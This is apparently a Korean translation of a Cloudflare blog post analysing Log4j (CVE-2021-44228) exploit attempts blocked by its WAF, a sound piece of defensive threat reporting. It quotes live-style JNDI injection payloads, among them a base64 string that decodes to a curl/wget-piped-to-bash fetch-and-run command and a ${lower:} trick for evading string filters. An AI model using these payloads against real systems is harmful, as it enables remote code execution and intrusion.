Log4j에서 CVE-2021-44228을 완화하는 방법, 취약점이 발생하는 원인, 고객을 대상으로 한 Cloudflare의 완화에 대해 이전에 글을 썼습니다. 이 글을 쓰는 동안에도 당사는 취약점이 심각하므로 무료 고객도 보호해 드리고 있습니다.
당사에서는 이제 여러 시간 분량의 스캐닝과 시도되었던 취약점 공격 데이터를 보유하고 있으므로 외부와 통계에서 사용되는 실제 페이로드를 살펴볼 수 있습니다. 당사의 WAF를 통해 Cloudflare에서 차단하고 있는 요청부터 시작하겠습니다.
오늘 아침에는 차단한 공격의 빈도가 낮으며 가장 높은 시간(분당 약 20,000개의 취약점 공격 요청을 차단함)은 오후 6시(18:00)입니다. (그래프에 표시된 시간은 협정 세계시입니다.) 하지만 스캐닝은 하루 종일 지속적으로 진행되었습니다. 이는 지속될 것으로 예상됩니다.
우리는 또한 WAF에서 차단하고 있는 IP 주소 수를 살펴보았습니다. 200~400개 사이의 IP가 어떤 시점에서든 활발히 스캔하고 있는 것으로 보입니다.
오늘은 지금까지 대부분의 스캔과 취약점 공격 시도가 캐나다와 미국에서 발생했습니다.
차단된 요청 중 많은 요청이 서버의 취약점을 공격할 수 있는지 확인하기 위한 정찰의 형식을 띕니다. 차단된 상위 취약점 공격 문자열은 다음과 같습니다(작성자 본인이 도메인 이름과 IP 주소를 삭제했습니다).
${jndi:ldap://x.x.x.x/#Touch}
이는 x.x.x.x 서버로 접속을 시도하는 단순한 방법으로 보입니다. 액터가 물론 제어하고 있으며 인터넷 자산의 취약점을 공격할 수 있다고 기록합니다. 이는 액터에게 중요한 정보가 아닙니다. 두 번째로 많은 요청은 다음을 포함합니다.
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
이는 요청의 User-Agent 필드에서 나타났습니다. URI 마지막에 /ua가 작성된 것을 확인해 주시기 바랍니다. 이는 액터에게 User-Agent에서 취약점 공격이 작동했다는 힌트를 제공합니다.
또 다른 흥미로운 페이로드는 액터가 효과가 있었던 형식을 자세히 설명하고 있음을 보여줍니다(이 경우 443 포트에 대한 암호화되지 않은 요청이며 http:// 사용을 시도했습니다).
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
누군가가 Googlebot으로 위장하는 것을 시도하고 일부 추가 정보를 포함시켰습니다.
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
다음 사례에서 액터는 공개 Cloudflare IP에 접속을 시도하고 취약점 공격 페이로드에서 해당 IP 주소를 인코딩했습니다. 이런 방식으로 액터는 여러 IP를 스캔하고 취약한 IP를 찾을 수 있습니다.
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
이러한 계획의 변형은 취약점 공격 페이로드에 공격한 웹 사이트의 이름을 포함시킵니다.
${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
일부 액터는 LDAP를 사용하지 않고 DNS를 사용했습니다. 그러나 LDAP가 훨씬 더 많이 사용되는 프로토콜입니다.
${jndi:dns://aeutbj.example.com/ext}
아주 흥미로운 스캔에서는 Java와 표준 Linux 명령 줄 도구를 사용했습니다. 페이로드는 다음과 같습니다.
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
Base64로 인코딩된 부분은 curl 및 wget 파이프 연결을 bash로 디코딩합니다.
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
Curl/wget 출력은 필수가 아니므로 이는 단순히 취약성 공격이 효과가 있었음을 액터에게 알리기 위해 서버에 접속을 시도하는 것입니다.
마지막으로 ${jndi:ldap와 같은 단순한 문자열 차단을 Log4j의 다른 기능을 사용하여 회피하기 위한 활성 시도를 볼 수 있습니다. 예를 들어 일반적인 회피 기술은 ${lower} 주요 기능(소문자)을 다음과 같이 사용하는 것입니다.
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
현재는 많은 수의 정찰이 진행되고 있는 것으로 보입니다. 좋은 액터이든 나쁜 액터이든 전 세계에 걸쳐 취약한 서버를 스캔하고 있습니다. 궁극적으로 정찰의 일부는 실제 서버 및 회사 침투로 이어집니다. 로깅은 프론트엔드 및 백엔드 시스템 깊숙이 위치해 있으므로 일부는 몇 시간이나 며칠 동안 식별이 어렵습니다.
땅속에서 자라는 씨앗처럼 일부는 흙을 뚫고 표면으로 나와 세상과 마주합니다.
Cloudflare의 보안 팀은 취약점 공격 시도가 발전함에 따라 지속적으로 노력하고 필요에 따라 WAF와 방화벽 규칙을 업데이트합니다.